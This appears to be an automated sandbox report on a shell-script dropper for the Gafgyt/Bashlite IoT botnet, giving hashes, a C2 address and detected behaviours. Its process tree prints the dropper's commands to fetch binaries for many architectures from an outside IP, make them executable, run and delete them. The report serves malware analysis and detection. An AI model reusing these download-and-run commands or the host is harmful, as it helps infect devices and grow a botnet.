Analysis
-
max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
08-12-2024 02:49
General
-
Target
d3102a23a69dcc14e275b16b133137d42979f840851e22c2688420d0dfbb0f8e.sh
-
Size
2KB
-
MD5
0f886518495ede0d60cb0be5653a4907
-
SHA1
8adeb236ab6d2503646382bfbbfc9d24aea427c2
-
SHA256
d3102a23a69dcc14e275b16b133137d42979f840851e22c2688420d0dfbb0f8e
-
SHA512
61c8ccce22606ef885b6d79c9093b9fbdc977a9ab39d80715117b21d0251b6134c69682bee3ae667884e6ad3d85f9ef9ec75fb101c59e30cb02b73ab0fc0df7a
Malware Config
Extracted
gafgyt
93.123.85.191:12345
Signatures
-
Detected Gafgyt variant 11 IoCs
-
Gafgyt family
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 13 IoCs
-
Reads system routing table 1 TTPs 2 IoCs
Gets active network interfaces from /proc virtual filesystem.
-
Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/d3102a23a69dcc14e275b16b133137d42979f840851e22c2688420d0dfbb0f8e.sh/tmp/d3102a23a69dcc14e275b16b133137d42979f840851e22c2688420d0dfbb0f8e.sh1⤵
-
/usr/bin/wgetwget http://93.123.85.191/m-i.p-s.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-i.p-s.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-i.p-s.Sakura./m-i.p-s.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf m-i.p-s.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/m-p.s-l.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-p.s-l.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-p.s-l.Sakura./m-p.s-l.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf m-p.s-l.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/s-h.4-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x s-h.4-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/s-h.4-.Sakura./s-h.4-.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf s-h.4-.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/x-8.6-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x-8.6-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/x-8.6-.Sakura./x-8.6-.Sakura2⤵
- Executes dropped EXE
- Reads system routing table
- Reads system network configuration
-
-
/bin/rmrm -rf x-8.6-.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/a-r.m-6.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-6.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-6.Sakura./a-r.m-6.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf a-r.m-6.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/x-3.2-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x-3.2-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/x-3.2-.Sakura./x-3.2-.Sakura2⤵
- Executes dropped EXE
- Reads system routing table
- Reads system network configuration
-
-
/bin/rmrm -rf x-3.2-.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/a-r.m-7.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-7.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-7.Sakura./a-r.m-7.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf a-r.m-7.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/p-p.c-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x p-p.c-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/p-p.c-.Sakura./p-p.c-.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf p-p.c-.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/i-5.8-6.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x i-5.8-6.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/i-5.8-6.Sakura./i-5.8-6.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf i-5.8-6.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/m-6.8-k.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-6.8-k.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-6.8-k.Sakura./m-6.8-k.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf m-6.8-k.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/p-p.c-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x p-p.c-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/p-p.c-.Sakura./p-p.c-.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf p-p.c-.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/a-r.m-4.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-4.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-4.Sakura./a-r.m-4.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf a-r.m-4.Sakura2⤵
-
-
/usr/bin/wgetwget http://93.123.85.191/a-r.m-5.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-5.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-5.Sakura./a-r.m-5.Sakura2⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf a-r.m-5.Sakura2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD578105878c2bcacf9fd13adec1e5c4375
SHA12f7195f3435cf620f37c780368b12fe1e2c2013d
SHA256e8bebdf7b8dc2de8e75d5eefe79ad542c844489a66e55aea6245b8dad826a4ba
SHA512945a77dc48274a28d4c0e09fae55378fb314cbee51aa58f4cb272f35bf652f351de5a99dea80f03da7621a525143eead2161952e29aa8120514e5a5b73de3607
-
Filesize
118KB
MD536d9d44c7ecaeb7e77036c51e0cfdbf8
SHA1f674eee0a858e3cc9ac600ffc4ad3e1c4184e118
SHA2566ef8713da51fd3de5482c0673552e46f2d9e549c74f84b505c64233c1479b2c1
SHA512bb01280142253e1cd4ab42ddf025afd7e943c3f52e1459858fa52d42e162161678051bc4531651a24f79093883832cfe01ecd649428fa68e135d0134037339cd
-
Filesize
91KB
MD5d6e78a0f9096041b249a0ab4e25f3a42
SHA1da7c1135e9f2cf3ebdc29ac9ac33ddcc3466b5a8
SHA2568939e436cdfe572933bb0811338d11f9198310f38f87de0b861834a09c7532e4
SHA5126fe21f80990a7b3113e478178267310af59b1ac19197744e6334d7183b67e3f0e3b2f193a0752565100e7c82ac42f451f433e2d6d7a13d0683d2600e79516f91
-
Filesize
96KB
MD5bc3ce84023fdea9b5d6a77e6a3b2373f
SHA1e30835b09c049335d8505c25125873935e93609d
SHA2561feb67cfcebba27dfb86050a08bb78902e243f52fc6fbaab6d616116a8eb3da8
SHA5121e67d12d4b0c8e362578ecd5831e40f26e9023c17c9984889ad3163cebc5cebcff53bab8284595e0f25bd7dbb4e99374e0a285201a415740c597a5c3c25ba18d
-
Filesize
156KB
MD5acbdaeca418db3ef76291c6ba0284423
SHA1e967ad94da3fd5d894ebd814e120b25abda52d2a
SHA256a864ac4a6cd9995145a0cefd208a5fd607d5b2f28455ced9f654ddd38b378872
SHA5120cd32ee9bcdf17270aa0b7865422953afde8830ca74a324dc48625d893f045d7bb7cc3a40bd774a2075fc93622c14fdbacfb220f96709a5f67260c20f6dd7b2a
-
Filesize
123KB
MD5fa9295407e26aded7c4dbcf2423beeb2
SHA117ca7ee89d3574fb2d0c03ac96a6d843f6ff06f8
SHA256c38c0746ea7ced97718d7805a8735a63c6509751e0197206990f77ac37ed8013
SHA512b07d93d1322a1a34de1b41133782e9454300c203a0981d76ca9d9f837466943945dcee34f8e22f55071b1b62bf9929b79f473fc3b71986ec46a0e316b2144bc8
-
Filesize
123KB
MD52f1791c71eb8814dfc8c24bbba5dd0ed
SHA1133b6be98bfe71843f80a4ec89e81ad575c62a14
SHA256c3a6894da6ba15938339e2aa53ff106411bc8e0991700b962405f1ab6e6e9926
SHA51237b0a7862e24ef560584a4bcc7591f700f86942fc8e9b1818754da0842d759cc380427a612daa64d3ce81ec565db628a610c08767d59fb93c2792e958e6970e8
-
Filesize
105KB
MD56e80a5217c6d2bd6f076ebdb32a420f0
SHA1a6051d8000358438bedddf94d83a64fe8f215ced
SHA256517e5f65c8af8123d0939b560074c9cf735829d5b141f8764b4f982bc6aa3f62
SHA51257dae19994814e98a3aa5385152fcf41390b334bea56fa8c56baf5273aa97f5153e08038dd59b3f9542fc883e730dd6a35b8a2a1b2a82ea523a85096bdd5cc04
-
Filesize
86KB
MD5b20e3e2f5aa792631e80a19eaf3021dc
SHA17326d70cf598d81335aeb70999ee09991e2146bf
SHA2560e4045737c20d638ccc3c349572f35145fc42e6abd034d05d69901c12ec23040
SHA51255f63d89a72082378728f83d349d4988f1440c5ad14669de50cad8433fd1a15e6cd786beeef27431828897ed9cbf5c79110746d2c6b7ac465773dea6eee85165
-
Filesize
83KB
MD5ce84b3d3542d8529d4e2e93b9b8ff4ef
SHA1ae7df4142468b242959b8597df9ae038c93ccc73
SHA256549c7160c4f216a39a1c196bb81608ff3660db25567a9812d1c3fbb32e9b71fb
SHA51259b7d4870ccb04b5b5c00dcb2b70fb77cdcf91a0fb5bfe4265a3c64446a17352b837b05df8d5d33618f36dd42a5be9864eb713a9ae38fc8f291af11025a6b3b7
-
Filesize
92KB
MD52e2b3b9e8d4e5938c625ff7db1858911
SHA1aa95bb9c29a63ea6b602384f025ad83c7442ce80
SHA2566e4276c87e308b06f616e3af1982df748411e022eef2b42db9017411561cbf43
SHA51210316b7ac1e3756957bcdee92ed26a2b59ae3af352e10cac8675a8f8efce7d450929ccbee9514b34bcc880289423d8586a0601748edfcf516ab5bc133e5ec10c